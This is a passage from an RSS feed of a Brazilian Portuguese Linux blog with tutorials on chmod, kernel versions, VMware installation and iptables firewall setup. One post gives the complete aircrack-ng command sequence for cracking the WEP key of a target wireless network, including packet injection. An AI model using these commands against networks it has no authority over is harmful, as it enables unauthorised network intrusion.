<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Hack Network &#187; Linux</title>
	<atom:link href="http://www.hack.net.br/blog/tag/linux/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.hack.net.br/blog</link>
	<description></description>
	<lastBuildDate>Tue, 08 Nov 2011 10:39:24 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
<xhtml:meta xmlns:xhtml="http://www.w3.org/1999/xhtml" name="robots" content="noindex" />
		<item>
		<title>Entendendo o básico de CHMOD</title>
		<link>http://www.hack.net.br/blog/linux/entendendo-o-basico-de-chmod/</link>
		<comments>http://www.hack.net.br/blog/linux/entendendo-o-basico-de-chmod/#comments</comments>
		<pubDate>Wed, 01 Dec 2010 14:51:30 +0000</pubDate>
		<dc:creator>Walter Cunha</dc:creator>
				<category><![CDATA[Knowledge]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Português-Brasil]]></category>
		<category><![CDATA[chmod]]></category>
		<category><![CDATA[Debian]]></category>
		<category><![CDATA[ubuntu]]></category>

		<guid isPermaLink="false">http://www.hack.net.br/?p=278</guid>
		<description><![CDATA[Uma breve explicação sobre adicionar permissões aos arquivos e/ou as pastas usando os &#8220;números&#8221; que ninguém entende. Primeiro vamos ententer o que cada número faz: 0 = nenhuma operação permitida 1 = permite execução de um arquivo ou acesso a uma pasta 2 = permite escrever/alterar um arquivo/pasta 4 = permite apenas leitura Todo arquivo [...]]]></description>
			<content:encoded><![CDATA[<p>Uma breve explicação sobre adicionar permissões aos arquivos e/ou as pastas usando os &#8220;números&#8221; que ninguém entende.<span id="more-278"></span> Primeiro vamos ententer o que cada número faz:</p>
<pre><em><span style="color: #888888;">0 = nenhuma operação permitida</span><span style="color: #888888;">
1 = permite execução de um arquivo ou acesso a uma pasta </span><span style="color: #888888;">
2 = permite escrever/alterar um arquivo/pasta
4 = permite apenas leitura</span></em></pre>
<p>Todo arquivo tem permissão para o dono(owner), para o grupo(group) e para outros[world(<span style="color: #888888;"><em>são aqueles que não são o dono(claro) e não estão no grupo</em></span>)].</p>
<p>Para definir as permissões que você quer para o arquivo/pasta, devemos somar os  <em>bits </em>que você quer para cada classe.</p>
<p>Exemplos:</p>
<p>#1  Seu diretório &#8220;home&#8221; terá por padrão a permissão 711.</p>
<pre><em><span style="color: #888888;">7 = 4 + 2 + 1 - você (o dono) pode ler/escrever/executar
1 = 1 - o grupo pode executar/acessar diretorio, mas nao podem ler nem escrever.
1 = 1 - outros podem executar/acessar diretorio, mas nao podem ler nem escrever.</span></em></pre>
<p>#2 Seu diretório da web terá permissões 755:</p>
<pre><em><span style="color: #888888;">7 = 4 + 2 + 1 - você (o dono) pode ler/escrever/executar
5 = 4 + 1 - o grupo pode executar/acessar diretorio/ler, mas nao pode escrever.
5 = 4 + 1 -<em> outros podem executar/acessar diretorio/ler, mas nao pode escrever.</em></span></em></pre>
<p>Tudo muito simples, você só precisa somar os números conforme a permissão necessária.</p>
<p>Há também uma outra maneira de se dar permissão usando o chmod, que algumas pessoas dizem ser mais simples e só fazem uso da mesma. Vejo as duas como simples.</p>
<p>É o seguinte,  ao invés dos números usaremos &#8220;letras&#8221;.</p>
<p>Para definir qual o tipo de pessoa que irá ter permissão, utilizaremos as seguintes:</p>
<pre><em><span style="color: #888888;">"u" - para dono (owner)
"g" - para groupo (group)
"o" - para outros (others)
"a" - para todos (all) </span></em></pre>
<p>Os operadores serão:</p>
<pre style="text-align: justify;"><em><span style="color: #888888;">"+" - para adicionar </span><span style="color: #888888;">
"-" - para remover
"=" - define para todos, todas as permissões que o arquivo/pasta terão.
Caso não seja definido nenhum valor, ele apagará todas as permissões.
obs: Mesmo que coloque =rwx(sem definir usuario)ele nunca dará permissão
de escrita para grupo e outros, só para o dono.</span></em></pre>
<p>As permissões são:</p>
<pre><em><span style="color: #888888;">"r" - para leitura(read)
"w" - para escrita(write)
"x" - para execução(execute)</span></em></pre>
<p>Seguem alguns exemplos:</p>
<pre style="text-align: justify;"><em><span style="color: #888888;">chmod u=rx arquivo - Da permissão de leitura e execução para o dono
chmod go-r arquivo - Retira permissão de leitura do groupo e dos outros
chmod g+w arquivo - Adiciona permissão de escrita para o grupo
chmod a+x arquivo1 arquivo2 - Adiciona permissão de execução para todos
chmod g+rx,o+x arquivo - Adiciona permissão para o grupo de leitura e
execução e para outros apenas execução</span></em></pre>
<p>Bem, estão ai as duas maneiras possíveis, cabe agora a vocês escolherem a melhor! Lembrando sempre que isso é apenas o &#8220;básico&#8221; caso queria entender melhor o chmod use o man.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.hack.net.br/blog/linux/entendendo-o-basico-de-chmod/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>&#8220;cannot find name for user ID xxx&#8221;</title>
		<link>http://www.hack.net.br/blog/linux/cannot-find-name-for-user-id-xxx/</link>
		<comments>http://www.hack.net.br/blog/linux/cannot-find-name-for-user-id-xxx/#comments</comments>
		<pubDate>Wed, 24 Nov 2010 19:28:21 +0000</pubDate>
		<dc:creator>Walter Cunha</dc:creator>
				<category><![CDATA[Knowledge]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Português-Brasil]]></category>
		<category><![CDATA[chmod]]></category>
		<category><![CDATA[Debian]]></category>
		<category><![CDATA[ubuntu]]></category>
		<category><![CDATA[usuarios]]></category>

		<guid isPermaLink="false">http://www.hack.net.br/?p=261</guid>
		<description><![CDATA[Me deparei com essa mensagem, quando crirei um usuário e loguei através dele. Essas mensagens: "cannot find name for user ID xxx" ou "cannot find name for group ID xxx" Pode ter dois motivos: #1 &#8211; Ser devido a um problema de permissão no /etc/passwd ou /etc/group files.  Para solucionar, usaremos os seguintes comandos: chmod [...]]]></description>
			<content:encoded><![CDATA[<p>Me deparei com essa mensagem, quando crirei um usuário e loguei através dele. <span id="more-261"></span>Essas mensagens:</p>
<pre><em><span style="color: #888888;">"cannot find name for user ID xxx"</span></em>
ou<span style="color: #888888;"><em>
"cannot find name for group ID xxx"</em></span></pre>
<p>Pode ter dois motivos:<br />
#1 &#8211; Ser devido a um problema de permissão no <span style="color: #888888;"><em>/etc/passwd</em></span> ou  <span style="color: #888888;"><em>/etc/group</em></span> files.  Para solucionar, usaremos os seguintes comandos:</p>
<pre><em><span style="color: #888888;">chmod 644 /etc/passwd
chmod 644 /etc/group</span></em></pre>
<p>#2 &#8211; A pasta <em><span style="color: #888888;">/usr/sbin</span></em> não está no seu &#8220;path&#8221;. A solução nesse caso e a mais recomendada é usar o caminho completo:</p>
<pre>Como root deletamos o usuário já criado:<em><span style="color: #888888;">
userdel &lt;usuário&gt;</span></em>

Então criamos o usuário novamente utilizando o caminho completo:
<em><span style="color: #888888;">/usr/sbin/useradd &lt;usuário&gt;
</span></em><em></em></pre>
<p>Estão ai duas soluções simples, para esse problema chato.  Lembrando que a segunda opção é a ideal para manter a segurança do seu ambiente.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.hack.net.br/blog/linux/cannot-find-name-for-user-id-xxx/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Quebrando chave WEP com Aircrack-ng e Ubuntu 10.4 [video]</title>
		<link>http://www.hack.net.br/blog/hacking/quebrando-chave-wep-com-aircrack-ng-e-ubuntu-10-4-video/</link>
		<comments>http://www.hack.net.br/blog/hacking/quebrando-chave-wep-com-aircrack-ng-e-ubuntu-10-4-video/#comments</comments>
		<pubDate>Sun, 08 Aug 2010 08:30:29 +0000</pubDate>
		<dc:creator>Allan Denot</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Português-Brasil]]></category>
		<category><![CDATA[aircrack-ng]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[ubuntu]]></category>
		<category><![CDATA[wep]]></category>
		<category><![CDATA[Wi-Fi]]></category>

		<guid isPermaLink="false">http://www.hack.net.br/?p=250</guid>
		<description><![CDATA[Video demonstrativo de como quebrar uma chave WEP (nesse caso 40-bits, mas funcionaria para 104-bits). Comandos: 0:42 apt-get install aircrack-ng 1:06 iwconfig 1:22 airmon-ng start wlan0 1:30 ifconfig 1:35 ifconfig mon0 1:43 airodump-ng mon0 2:05 airodump-ng &#8211;channel 6 &#8211;bssid XX:XX:XX:XX:XX:XX -w wep1 mon0 2:33 sudo su 2:43 ifconfig wlan0 2:50 aireplay-ng -1 0 -e YYYY [...]]]></description>
			<content:encoded><![CDATA[<p><object width="619" height="510" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="src" value="http://www.youtube.com/v/nf1XbAqxlyY" /><embed width="619" height="510" type="application/x-shockwave-flash" src="http://www.youtube.com/v/nf1XbAqxlyY" /></object></p>
<p>Video demonstrativo de como quebrar uma chave WEP (nesse caso 40-bits, mas funcionaria para 104-bits).</p>
<p>Comandos:<br />
<a onclick="yt.www.watch.player.seekTo(0*60+42);return false;" href="http://www.youtube.com/watch?v=nf1XbAqxlyY#">0:42</a> apt-get install aircrack-ng<br />
<a onclick="yt.www.watch.player.seekTo(1*60+06);return false;" href="http://www.youtube.com/watch?v=nf1XbAqxlyY#">1:06</a> iwconfig<br />
<a onclick="yt.www.watch.player.seekTo(1*60+22);return false;" href="http://www.youtube.com/watch?v=nf1XbAqxlyY#">1:22</a> airmon-ng start wlan0<br />
<a onclick="yt.www.watch.player.seekTo(1*60+30);return false;" href="http://www.youtube.com/watch?v=nf1XbAqxlyY#">1:30</a> ifconfig<br />
<a onclick="yt.www.watch.player.seekTo(1*60+35);return false;" href="http://www.youtube.com/watch?v=nf1XbAqxlyY#">1:35</a> ifconfig mon0<br />
<a onclick="yt.www.watch.player.seekTo(1*60+43);return false;" href="http://www.youtube.com/watch?v=nf1XbAqxlyY#">1:43</a> airodump-ng mon0<br />
<a onclick="yt.www.watch.player.seekTo(2*60+05);return false;" href="http://www.youtube.com/watch?v=nf1XbAqxlyY#">2:05</a> airodump-ng &#8211;channel 6 &#8211;bssid XX:XX:XX:XX:XX:XX -w wep1 mon0<br />
<a onclick="yt.www.watch.player.seekTo(2*60+33);return false;" href="http://www.youtube.com/watch?v=nf1XbAqxlyY#">2:33</a> sudo su<br />
<a onclick="yt.www.watch.player.seekTo(2*60+43);return false;" href="http://www.youtube.com/watch?v=nf1XbAqxlyY#">2:43</a> ifconfig wlan0<br />
<a onclick="yt.www.watch.player.seekTo(2*60+50);return false;" href="http://www.youtube.com/watch?v=nf1XbAqxlyY#">2:50</a> aireplay-ng -1 0 -e YYYY -a XX:XX:XX:XX:XX:XX -h ZZ:ZZ:ZZ:ZZ:ZZ:ZZ mon0<br />
<a onclick="yt.www.watch.player.seekTo(3*60+17);return false;" href="http://www.youtube.com/watch?v=nf1XbAqxlyY#">3:17</a> aireplay-ng -3 -b XX:XX:XX:XX:XX:XX -h ZZ:ZZ:ZZ:ZZ:ZZ:ZZ mon0<br />
<a onclick="yt.www.watch.player.seekTo(4*60+04);return false;" href="http://www.youtube.com/watch?v=nf1XbAqxlyY#">4:04</a> sudo su<br />
<a onclick="yt.www.watch.player.seekTo(4*60+13);return false;" href="http://www.youtube.com/watch?v=nf1XbAqxlyY#">4:13</a> aireplay-ng -1 0 -e YYYY -a XX:XX:XX:XX:XX:XX -h ZZ:ZZ:ZZ:ZZ:ZZ:ZZ mon0<br />
<a onclick="yt.www.watch.player.seekTo(4*60+26);return false;" href="http://www.youtube.com/watch?v=nf1XbAqxlyY#">4:26</a> ls -lah wep1-01.cap<br />
<a onclick="yt.www.watch.player.seekTo(4*60+35);return false;" href="http://www.youtube.com/watch?v=nf1XbAqxlyY#">4:35</a> aircrack-ng -b XX:XX:XX:XX:XX:XX wep1-01.cap</p>
<p>XX:XX:XX:XX:XX:XX = BSSID da rede alvo (obtido pelo airodump-ng)<br />
YYYY = nome da rede alvo (obtido pelo airodump-ng)<br />
ZZ:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ = MAC address da interface de rede que usamos para injetar os pacotes (nesse caso: wlan0)</p>
<p>UPDATE (23/10/2011):</p>
<pre>aireplay-ng: Wouldn’t false authenticate OR deauth = mon0 is on channel -1, but the AP uses channel X</pre>
<p>Se voce estiver tendo problema com &#8220;channel -1&#8243;, de uma olhada nesse tutorial:</p>
<p><a title="Aircrack-ng: mon0 is on channel -1, but the AP uses channel X" href="http://www.hack.net.br/blog/hacking/aircrack-ng-mon0-is-on-channel-1-but-the-ap-uses-channel-x/">http://www.hack.net.br/blog/hacking/aircrack-ng-mon0-is-on-channel-1-but-the-ap-uses-channel-x/</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.hack.net.br/blog/hacking/quebrando-chave-wep-com-aircrack-ng-e-ubuntu-10-4-video/feed/</wfw:commentRss>
		<slash:comments>43</slash:comments>
		</item>
		<item>
		<title>Descobrindo a versão do Kernel e da distribuição Linux</title>
		<link>http://www.hack.net.br/blog/linux/descobrindo-a-versao-do-kernel-e-da-distribuicao-linux/</link>
		<comments>http://www.hack.net.br/blog/linux/descobrindo-a-versao-do-kernel-e-da-distribuicao-linux/#comments</comments>
		<pubDate>Thu, 22 Apr 2010 15:58:04 +0000</pubDate>
		<dc:creator>Walter Cunha</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Português-Brasil]]></category>
		<category><![CDATA[distro]]></category>
		<category><![CDATA[kernel]]></category>
		<category><![CDATA[versão]]></category>

		<guid isPermaLink="false">http://www.hack.net.br/?p=238</guid>
		<description><![CDATA[As vezes nos deparamos com um pacote que precisa de versão X do Kernel ou então com um computador com um Linux que desconhecemos e ai como descobrimos isso? Bem simples, vamos lá&#8230; Para descobrir a versão do Kernel, é padrão em todas as distribuições então é só digitar no console: # uname -a Teremos [...]]]></description>
			<content:encoded><![CDATA[<p>As vezes nos deparamos com um pacote que precisa de versão X do Kernel ou então com um computador com um Linux que desconhecemos e ai como descobrimos isso? Bem simples, vamos lá&#8230;</p>
<p><span id="more-238"></span>Para descobrir a versão do Kernel, é padrão em todas as distribuições então é só digitar no console:</p>
<pre><em><span style="color: #888888;"># uname -a</span></em>
</pre>
<p>Teremos como resultado algo do tipo:</p>
<pre><em><span style="color: #888888;">Linux 2.6.18-164.10.1.el5 #1 SMP Thu Jan 7 20:00:41 EST 2010 i686 athlon i386 GNU/Linux</span></em></pre>
<p>O resultado vai variar conforme a versão instalada e o hardware.</p>
<p>Para descobrir a versão do Linux instalada, para cada distribuição teremos uma particularidade. Vejamos:</p>
<p>Para baseadas em RedHat e Debian:</p>
<pre><em><span style="color: #888888;"># cat /etc/issue</span></em></pre>
<p>Para Slackware:</p>
<pre><em><span style="color: #888888;"># cat /etc/slackware-version</span></em>
</pre>
<pre>
</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.hack.net.br/blog/linux/descobrindo-a-versao-do-kernel-e-da-distribuicao-linux/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Lançado Google Chrome (beta) para Linux</title>
		<link>http://www.hack.net.br/blog/noticias/lancado-google-chrome-beta-para-linux/</link>
		<comments>http://www.hack.net.br/blog/noticias/lancado-google-chrome-beta-para-linux/#comments</comments>
		<pubDate>Thu, 17 Dec 2009 22:10:26 +0000</pubDate>
		<dc:creator>Allan Denot</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[Português-Brasil]]></category>
		<category><![CDATA[google chrome]]></category>
		<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://www.hack.net.br/?p=207</guid>
		<description><![CDATA[O Google Chrome foi finalmente lançado para Linux. O download pode ser feito no endereço: http://www.google.com/chrome?platform=linux No endereço você encontra versões RPM e DEB para Fedora, Ubuntu, Debian e OpenSUSE. Já estou usando há uma semana e parece bem estável e bem mais rápido que o Firefox para Linux.]]></description>
			<content:encoded><![CDATA[<p>O Google Chrome foi finalmente lançado para Linux.</p>
<p>O download pode ser feito no endereço: <a href="http://www.google.com/chrome?platform=linux" target="_blank">http://www.google.com/chrome?platform=linux</a></p>
<p>No endereço você encontra versões RPM e DEB para Fedora, Ubuntu, Debian e OpenSUSE.</p>
<p>Já estou usando há uma semana e parece bem estável e bem mais rápido que o Firefox para Linux.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.hack.net.br/blog/noticias/lancado-google-chrome-beta-para-linux/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Erros de I/O no Linux</title>
		<link>http://www.hack.net.br/blog/linux/erros-de-io-no-linux/</link>
		<comments>http://www.hack.net.br/blog/linux/erros-de-io-no-linux/#comments</comments>
		<pubDate>Thu, 17 Dec 2009 00:56:51 +0000</pubDate>
		<dc:creator>Walter Cunha</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Português-Brasil]]></category>
		<category><![CDATA[hd]]></category>
		<category><![CDATA[i/o erro]]></category>
		<category><![CDATA[kiwi]]></category>

		<guid isPermaLink="false">http://www.hack.net.br/?p=110</guid>
		<description><![CDATA[Erros de I/O no Linux como solucionar? Erro de I/O, um erro não muito comum de se ver, mas, pode acontecer quando menos se espera, aumentando as chances se os discos estiverem com mais de 4 anos de uso continuo ( isso não descarta a possibilidade de acontecer com um disco novo ). Quando isso [...]]]></description>
			<content:encoded><![CDATA[<p>Erros de I/O no Linux como solucionar?</p>
<p><span id="more-110"></span></p>
<p>Erro de I/O, um erro não muito comum de se ver, mas, pode acontecer quando menos se espera, aumentando as chances se os discos estiverem com mais de 4 anos de uso continuo ( isso não descarta a possibilidade de acontecer com um disco novo ).</p>
<p>Quando isso ocorre, você pode estar local ou remotamente e o disco falhar você não terá mais acesso aos programas que estao em disco, nem mesmo poderá executar nenhum comando inclusive os para reiniciar ou desligar a máquina. Nesse caso você receberá mensagens de erro de I/O.</p>
<pre><span style="color: #888888"><em># reboot
bash: /sbin/reboot: Input/output error
# shutdown -r now
bash: /sbin/shutdown: Input/output error</em></span></pre>
<p>Temos duas situações aqui com soluções diferentes.</p>
<p>A primeira é, se você souber que o problema que está acontecendo pode ser porque o sistema foi corrompido devido a um boot repentino, podemos executar os seguintes comandos abaixo, que iremos envia-las diretamente para o kernel usando a interface do /proc:</p>
<p># ativa o suporte as teclas máquinas</p>
<pre><span style="color: #888888">echo 1 &gt; /proc/sys/kernel/sysrq

</span></pre>
<p># Envia o código do comando que será executado, no caso reBoot.</p>
<pre><span style="color: #888888">echo b &gt; /proc/sysrq-trigger</span></pre>
<p>Caso esteja local mas não tenha acesso a máquina para pressionar o &#8220;<em>powe</em>r&#8221; pode pressionar no teclado a tecla SysRq após digitar o primeiro comando.</p>
<p>A segunda seria um problema de disco falhando devido algum problema físico ou mesmo de tempo de uso, a solução acima será inválida uma vez que a unica solução nesse caso é a substituição do disco defeituoso por um novo.</p>
<p>OBS: Em breve estarei publicando um post explicando como usar o fsck para reparar o disco com um erro lógico.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.hack.net.br/blog/linux/erros-de-io-no-linux/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Instalando VMware Server 2.0.2 no Debian 5.0.3 (Lenny)</title>
		<link>http://www.hack.net.br/blog/linux/instalando-vmware-server-2-0-2-no-debian-5-0-3-lenny/</link>
		<comments>http://www.hack.net.br/blog/linux/instalando-vmware-server-2-0-2-no-debian-5-0-3-lenny/#comments</comments>
		<pubDate>Sun, 06 Dec 2009 02:43:19 +0000</pubDate>
		<dc:creator>Allan Denot</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Português-Brasil]]></category>
		<category><![CDATA[Debian]]></category>
		<category><![CDATA[VMware]]></category>

		<guid isPermaLink="false">http://www.hack.net.br/?p=171</guid>
		<description><![CDATA[Esse artigo mostra os passos de instalação do VMware Server 2.0.2 no Debian Lenny, também resolução de possíveis problemas de compilação. Preparando o Ambiente Baixe o VMware Server 2.0.2 em http://www.vmware.com/download/server/getserver.html (é necessário cadastro). OBS: O VMware Server é um produto grátis, com apenas um cadastro a serial é mostrada na página de download. Copie [...]]]></description>
			<content:encoded><![CDATA[<p>Esse artigo mostra os passos de instalação do VMware Server 2.0.2 no Debian Lenny, também resolução de possíveis problemas de compilação.<span id="more-171"></span></p>
<h2>Preparando o Ambiente</h2>
<p>Baixe o VMware Server 2.0.2 em <a href="http://www.vmware.com/download/server/getserver.html" target="_blank">http://www.vmware.com/download/server/getserver.html</a> (é necessário cadastro).</p>
<p><span style="color: #ff6600;">OBS: O VMware Server é um produto grátis, com apenas um cadastro a serial é mostrada na página de download.</span></p>
<p>Copie o arquivo baixado para seu servidor (usando SFTP por exempl0).</p>
<h2>Instalando Pacotes Necessários</h2>
<p>Como o VMware Server não possui os módulos já compilados para o kernel padrão do Debian Lenny, em sua instalação, será requisitado que instale os programas de compilação (make, gcc, &#8230;) e os cabeçalhos do kernel (linux-headers), portanto vamos instalá-los:</p>
<pre>apt-get install build-essentials gcc-4.1</pre>
<pre>apt-get install linux-headers-`uname -r`</pre>
<p>O Debian por padrão instala o gcc-4.1 e 4.3, porém ele deixa o 4.3 como padrão, precisamos mudar para o 4.1 para o VMware não reclamar:</p>
<pre>rm -fr /usr/bin/gcc</pre>
<p>(não se assuste, é só um link)</p>
<pre>ln -s /usr/bin/gcc-4.1 /usr/bin/gcc</pre>
<p>Pronto, o sistema está pronto para a compilação.</p>
<p>Descompacte o arquivo com o comando:</p>
<pre>tar xzvpf VMware-server-2.0.2-203138.i386.tar.gz</pre>
<p>Entre no diretório criado:</p>
<pre>cd vmware-server-distrib</pre>
<p>Execute o instalador:</p>
<pre>./vmware-install.pl</pre>
<p>Nessa etapa você pode deixar os valores padrão e dar enter em tudo, exceto na última pergunta, no qual ele pergunta se deve executar o vmware-config.pl para você, você deve responder &#8220;no&#8221;.</p>
<p>Se você já executou o vmware-config.pl, tecle CTRL+C para cancelar, pois precisamos corrigir esse script antes de continuarmos.</p>
<h2>Corrigindo o vmware-config.pl</h2>
<p><span style="color: #ff0000;">Atenção: Essa correção é para Debian 5.0.3 (Lenny) caso você utilize outra versão, pule esse passo e tente executar o vmware-config.pl original (explicado no próximo tópico), somente tente corrigir o vmware-config caso tenha o problema mostrado abaixo.<br />
</span></p>
<p>Essa correção é necessária para evitar o seguinte erro após compilar o módulo vsock:</p>
<address>Unable to make a vsock module that can be loaded in the running kernel:<br />
insmod: error inserting &#8216;/tmp/vmware-config5/vsock.o&#8217;: -1 Unknown symbol in module<br />
There is probably a slight difference in the kernel configuration between the<br />
set of C header files you specified and your running kernel.  You may want to<br />
rebuild a kernel based on that directory, or specify another directory.</address>
<p>Para evitar, crie um arquivo chamado  /root/vmware-config.patch, com o conteúdo:</p>
<pre>--- /usr/bin/vmware-config.pl.orig    2008-11-28 12:06:35.641054086 +0100
+++ /usr/bin/vmware-config.pl    2008-11-28 12:30:38.593304082 +0100
@@ -4121,6 +4121,11 @@
 return 'no';
 }

+  if ($name eq 'vsock') {
+    print wrap("VMWare config patch VSOCK!n");
+    system(shell_string($gHelper{'mv'}) . ' -vi ' . shell_string($build_dir . '/../Module.symvers') . ' ' . shell_string($build_dir . '/vsock-only/' ));
+  }
+
 print wrap('Building the ' . $name . ' module.' . "nn", 0);
 if (system(shell_string($gHelper{'make'}) . ' -C '
 . shell_string($build_dir . '/' . $name . '-only')
@@ -4143,6 +4148,10 @@
 if (try_module($name, $build_dir . '/' . $name . '.o', 0, 1)) {
 print wrap('The ' . $name . ' module loads perfectly into the running kernel.'
 . "nn", 0);
+      if ($name eq 'vmci') {
+    print wrap("VMWare config patch VMCI!n");
+    system(shell_string($gHelper{'cp'}) . ' -vi ' . shell_string($build_dir.'/vmci-only/Module.symvers') . ' ' . shell_string($build_dir . '/../'));
+      }
 remove_tmp_dir($build_dir);
 return 'yes';
 }</pre>
<address>Esse patch não é de minha autoria e foi encontrado no endereço: <a href="http://www.howtoforge.com/forums/showthread.php?t=36931" target="_blank">http://www.howtoforge.com/forums/showthread.php?t=36931</a></address>
<p>Depois execute o comando:</p>
<pre>patch /usr/bin/vmware-config.pl /root/vmware-config.patch</pre>
<p>Pronto! Seu vmware-config.pl está corrigido.</p>
<h2>Configurando o VMware</h2>
<p>Execute o vmware-config:</p>
<pre>vmware-config.pl</pre>
<p>Agora é só sair dando enter, para que os módulos do kernel sejam compilados.</p>
<p>Se tudo ocorrer certo, você será perguntado para configurar a placa de rede, só precisa ter cuidado em dizer qual a placa de rede estará em modo bridge, geralmente &#8220;eth0&#8243;, mas caso utilize outra placa para o VMware, não esqueça de informar ao configurador quando perguntado.</p>
<p>Outra pergunta que deve-se ter cuidado é a seguinte:</p>
<pre>The current administrative user for VMware Server  is ''.  Would you like
to specify a different administrator? [no] yes

Please specify the user whom you wish to be the VMware Server administrator
[] root</pre>
<p>É perguntado se quer mudar o usuário administrativo do VMware, deve-se responder <strong>yes </strong>e em seguida <strong>root </strong>ou um outro usuário de sua escolha.</p>
<p>Depois somos perguntados sobre a serial do VMware:</p>
<pre>Do you want to enter a serial number now? (yes/no/help)</pre>
<p>Responda que sim (yes) e entre com a serial que você vê na página de download do VMware Server.</p>
<p>Caso tudo ocorra bem, os processos do VMware Server serão iniciados e podemos acessar sua console web.</p>
<h2>Após a Instalação</h2>
<p>Para acessar a console de administração, basta abrir um navegador e digitar:</p>
<p>https://172.20.20.1:8333/</p>
<p>Troque o ip 172.20.20.1 pelo IP do seu servidor Debian.</p>
<p>Você irá ver a seguinte tela:</p>
<p><img class="aligncenter size-full wp-image-173" title="vmware-server-login" src="http://www.hack.net.br/wp-content/uploads/2009/12/vmware-server-login.JPG" alt="vmware-server-login" width="407" height="164" /></p>
<p>Entre o usuário root, sua senha e divirta-se!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.hack.net.br/blog/linux/instalando-vmware-server-2-0-2-no-debian-5-0-3-lenny/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Configurando Firewall iptables em servidor dedicado</title>
		<link>http://www.hack.net.br/blog/linux/configurando-firewall-iptables-em-servidor-dedicado/</link>
		<comments>http://www.hack.net.br/blog/linux/configurando-firewall-iptables-em-servidor-dedicado/#comments</comments>
		<pubDate>Wed, 02 Dec 2009 00:57:54 +0000</pubDate>
		<dc:creator>Allan Denot</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Português-Brasil]]></category>
		<category><![CDATA[firewall]]></category>
		<category><![CDATA[iptables]]></category>
		<category><![CDATA[vps]]></category>

		<guid isPermaLink="false">http://www.hack.net.br/?p=133</guid>
		<description><![CDATA[Hoje com os VPS chegando a custar 9 dolares por mês, muitos estão alugando esses servidores virtuais e deixam o firewall aberto, confiando no provedor. Nesse artigo iremos ensinar como configurar um firewall iptables básico, garantindo a segurança do servidor remoto. Vamos configurar um firewall no modo padrão DROP, ou seja, ele irá bloquear todos [...]]]></description>
			<content:encoded><![CDATA[<p>Hoje com os VPS chegando a custar 9 dolares por mês, muitos estão alugando esses servidores virtuais e deixam o firewall aberto, confiando no provedor. Nesse artigo iremos ensinar como configurar um firewall iptables básico, garantindo a segurança do servidor remoto.<span id="more-133"></span></p>
<p>Vamos configurar um firewall no modo padrão DROP, ou seja, ele irá <span style="text-decoration: underline;">bloquear todos os pacotes, e liberar apenas o que definirmos nas regras de ACCEPT abaixo</span>.</p>
<p>Para tipo de firewall é <span style="color: #ff0000;">necessário cuidado na hora de configurá-lo, pois podemos sem querer bloquear nossa própria conexão</span>, se não configurarmos na ordem correta. Porém também é o modo mais seguro, por isso iremos utilizá-lo.</p>
<h2>Regras Básicas</h2>
<p>As regras básicas que precisamos ter em um firewall são as abaixo.</p>
<p>Permitir pings:</p>
<pre>iptables -A INPUT -p icmp --icmp-type echo-request -j ACCEPT</pre>
<p>Permitir acesso a porta 22 (SSH):</p>
<pre>iptables -A INPUT -p tcp -m tcp --dport 22 -j ACCEPT</pre>
<p>Caso você possua um Apache rodando, também precisa permitir acesso a porta 80 (HTTP):</p>
<pre>iptables -A INPUT -p tcp -m tcp --dport 80 -j ACCEPT</pre>
<p>Permitir conexões que já foram estabelecidas:</p>
<pre>iptables -A INPUT -p ALL -m state --state ESTABLISHED,RELATED -j ACCEPT</pre>
<p>Permitir acesso loopback:</p>
<pre>iptables -A INPUT -s 127.0.0.1 -j ACCEPT</pre>
<p>Mas só temos liberações&#8230; como iremos impedir acessos indesejados?</p>
<pre>iptables -P FORWARD DROP
iptables -P INPUT DROP</pre>
<p>Mudando a política padrão das tabelas para DROP.</p>
<p><span style="color: #ff0000;">Atenção! Cuidado ao mudar a política com as regras acima. Se você não estiver criado as regras de liberação, o firewall irá bloquear <strong>qualquer conexão</strong></span><span style="color: #ff0000;"> e você perderá acesso ao servidor.</span></p>
<p>Se isso acontecer&#8230;</p>
<ul>
<li>Reinicie o servidor; ou</li>
<li>Peça para alguém ir na console, logar como root e digitar:
<ul>
<li>
<pre>iptables -P INPUT ACCEPT</pre>
</li>
</ul>
</li>
</ul>
<h2>Qual a diferença entre a política DROP e REJECT?</h2>
<ul>
<li>REJECT o trafego é rejeitado, ou seja, um pacote ICMP é enviado de volta avisando que aquela porta não está aberta.</li>
